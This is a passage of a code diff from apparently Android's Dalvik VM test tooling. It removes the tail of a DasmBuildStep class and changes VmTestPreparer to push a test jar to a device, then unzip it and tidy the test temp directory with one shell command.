-        String class_name = class_path[1];
-
-        // determine where to place .dex file
-        String dest_dir = outputFile.folder.getAbsolutePath();
-        if (class_path[0] != null) {
-            String class_dir = class_path[0].replaceAll("/|\\.", Character.toString(File.separatorChar));                                           
-            if (dest_dir != null) {
-                dest_dir = dest_dir + File.separator + class_dir;
-            } else {
-                dest_dir = class_dir;
-            }
-        }
-            
-        File out_file = null;
-        
-        if (dest_dir == null) {
-            out_file = new File(class_name + ".dex");
-        } else {
-            out_file = new File(dest_dir, class_name + ".dex");
-
-            // check that dest_dir exists
-            File dest = new File(dest_dir);
-            if (!dest.exists()) {
-                dest.mkdirs();
-            }
-
-            if (!dest.isDirectory()) {
-                System.err.println("Cannot create directory " + dest_dir);
-                return false;
-            }
-        }
-         
-        // write output
-        FileOutputStream outp = null;
-
-        try {
-            outp = new FileOutputStream(out_file);
-            dAsm.write(outp, null);
-        } catch(Exception e) {
-                if(BuildDalvikSuite.DEBUG)
-                e.printStackTrace();
-                System.err.println("Exception <" + e.getClass().getName() + ">" + e.getMessage() + 
-                        " while writing " + out_file.getPath());
-
-                close(outp);
-
-                out_file.delete();
-
-                return false;
-       }
-       finally {
-           close(outp);
-       }
-
-       return true;
-    }
-    
-    private static void close(Closeable c) {
-        if(c == null)
-            return;
-        try {
-            c.close();
-        } catch(IOException e) {
-            
-        }
-    }
-
-    @Override
-    public boolean equals(Object obj) {
-        if (super.equals(obj)) {
-            DasmBuildStep other = (DasmBuildStep) obj;
-
-            return inputFile.equals(other.inputFile)
-                    && generate_linenum == other.generate_linenum
-                    && outputFile.equals(other.outputFile);
-        }
-        return false;
-    }
-
-    @Override
-    public int hashCode() {
-        return inputFile.hashCode() ^ outputFile.hashCode()
-                ^ (generate_linenum ? 31 : 37);
-    }
-}
diff --git a/tools/vm-tests-tf/targetprep/src/android/core/vm/targetprep/VmTestPreparer.java b/tools/vm-tests-tf/targetprep/src/android/core/vm/targetprep/VmTestPreparer.java
index 1513592..6a17e91 100644
--- a/tools/vm-tests-tf/targetprep/src/android/core/vm/targetprep/VmTestPreparer.java
+++ b/tools/vm-tests-tf/targetprep/src/android/core/vm/targetprep/VmTestPreparer.java
@@ -25,6 +25,8 @@
 import com.android.tradefed.targetprep.BuildError;
 import com.android.tradefed.targetprep.ITargetCleaner;
 import com.android.tradefed.targetprep.TargetSetupError;
+import com.android.tradefed.util.CommandResult;
+import com.android.tradefed.util.CommandStatus;
 import com.android.tradefed.util.FileUtil;
 
 import java.io.File;
@@ -80,21 +82,28 @@
         // a sigsev thrown by the vm.
         createRemoteDir(device, VM_TEMP_DIR + "/dalvik-cache" );
         try {
-            File tmpDir = new File(System.getProperty("java.io.tmpdir"));
-            File localTmpDir = FileUtil.createTempDir("cts-vm", tmpDir);
             File jarFile = ctsBuild.getTestFile(JAR_FILE);
             if (!jarFile.exists()) {
                 CLog.e("Missing jar file %s", jarFile.getPath());
                 return false;
             }
-            ZipFile zipFile = new ZipFile(jarFile);
-            FileUtil.extractZip(zipFile, localTmpDir);
-            File localTestTmpDir = new File(localTmpDir, "tests");
-            if (!device.pushDir(localTestTmpDir, VM_TEMP_DIR)) {
-                CLog.e("Failed to push vm test files");
+
+            String jarOnDevice = VM_TEMP_DIR + "/" + JAR_FILE;
+            if (!device.pushFile(jarFile, jarOnDevice)) {
+                CLog.e("Failed to push vm test jar");
                 return false;
             }
-            FileUtil.recursiveDelete(localTmpDir);
+
+            // TODO: Only extract tests directory, avoid rm.
+            String cmd = "unzip -d " + VM_TEMP_DIR + " " + jarOnDevice
+                    + " && rm -rf " + VM_TEMP_DIR + "/dot*"
+                    + " && mv " + VM_TEMP_DIR + "/tests/* " + VM_TEMP_DIR + "/"
+                    + " && echo Success";
+            CommandResult result = device.executeShellV2Command(cmd);
+            if (result.getStatus() != CommandStatus.SUCCESS) {
+                CLog.e("Failed to extract and prepare vm tests jar");
+                return false;
+            }
         } catch (IOException e) {
             CLog.e("Failed to extract jar file %s and sync it to device %s.",
                     JAR_FILE, device.getSerialNumber());